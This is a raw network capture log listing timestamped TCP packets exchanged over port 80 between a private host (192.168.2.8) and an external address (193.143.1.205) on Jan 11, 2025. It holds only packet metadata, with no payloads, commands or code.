Jan 11, 2025 02:00:19.417819977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.417943954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417958021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.417999029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.418387890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418435097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418447971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418483973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.418581963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418593884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418605089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418616056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.418643951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.418693066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418704987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418752909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.418760061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418772936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.418804884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.419280052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.419318914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.419349909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.419351101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.427145958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431087971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431119919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431132078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431164980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431186914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431266069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431277037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431288004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431299925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431303978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431310892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431339025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431428909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431463957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431512117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431523085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431561947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431646109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431657076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431698084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.431854963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431900024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431910038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.431931019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.452732086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.468238115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468281031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468291998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468303919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468321085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.468346119 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.468358994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468370914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.468395948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.502865076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.502916098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.502928972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.502959967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.502989054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.502999067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503012896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503053904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.503101110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503113985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503154993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.503242016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503253937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503272057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503283978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503292084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.503295898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503309965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.503910065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503926992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503938913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.503957033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.503976107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538222075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538264990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538307905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538341999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538543940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538579941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538588047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538615942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538650990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538665056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538698912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538733006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538733959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538837910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538870096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538873911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.538906097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.538943052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539011002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539045095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539077997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539079905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539110899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539145947 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539382935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539436102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539469957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539477110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539588928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539623976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539628983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539791107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539832115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539840937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539875984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.539910078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.539984941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540018082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540051937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540054083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.540242910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540277958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540282011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.540312052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540345907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.540570974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540623903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540657997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540662050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.540858984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540891886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540894985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.540925980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.540961027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541013002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541064024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541098118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541100025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541132927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541166067 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541574955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541608095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541644096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541646957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541712046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541748047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541753054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541794062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541829109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.541836023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.541970015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542006016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542009115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542040110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542076111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542402029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542454004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542490959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542519093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542552948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542589903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542742968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542793989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542828083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542829990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542866945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542898893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542900085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.542932987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.542967081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.543334961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543396950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543431997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543433905 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.543517113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543550968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543553114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.543586016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543621063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.543665886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543700933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543735981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.543807983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543840885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.543874979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.544320107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544356108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544392109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544393063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.544445038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544478893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544480085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.544512033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544544935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544564009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544583082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.544608116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.544667959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544714928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.544751883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.545188904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545224905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545259953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545270920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.545330048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545362949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545396090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545417070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.545432091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545437098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.545546055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545581102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545584917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.545619965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.545651913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.546039104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.546051025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.546091080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.546124935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.546128988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.546217918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.546247959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.546253920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.549612045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.568083048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592005014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592048883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592073917 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592104912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592142105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592143059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592176914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592211008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592212915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592242956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592277050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592277050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592310905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592350960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592367887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592407942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592439890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592446089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592473030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592506886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592521906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592556000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592591047 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592592001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592624903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592658043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592662096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592686892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592720032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592724085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592752934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592784882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592791080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.592818022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592850924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592869043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.592906952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627223969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627306938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627363920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627373934 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627418041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627454042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627463102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627485991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627518892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627542973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627574921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627609015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627609015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627638102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627671957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627676010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627705097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627737999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627739906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627770901 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627804995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627806902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.627935886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627968073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.627973080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628020048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628051996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628056049 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628298044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628330946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628336906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628365040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628396988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628400087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628429890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628463030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628472090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628498077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628531933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628532887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628565073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628599882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628602982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628884077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628900051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628909111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628926039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628937960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628941059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628947973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628958941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628969908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.628973961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.628993034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629497051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629509926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629522085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629533052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629539013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629544973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629553080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629555941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629566908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629578114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629580021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629589081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629600048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629604101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629611015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629621983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629622936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629633904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.629654884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.629682064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.630383968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630398035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630408049 CET	80	49706	193.143.1.205	192.168.2.8
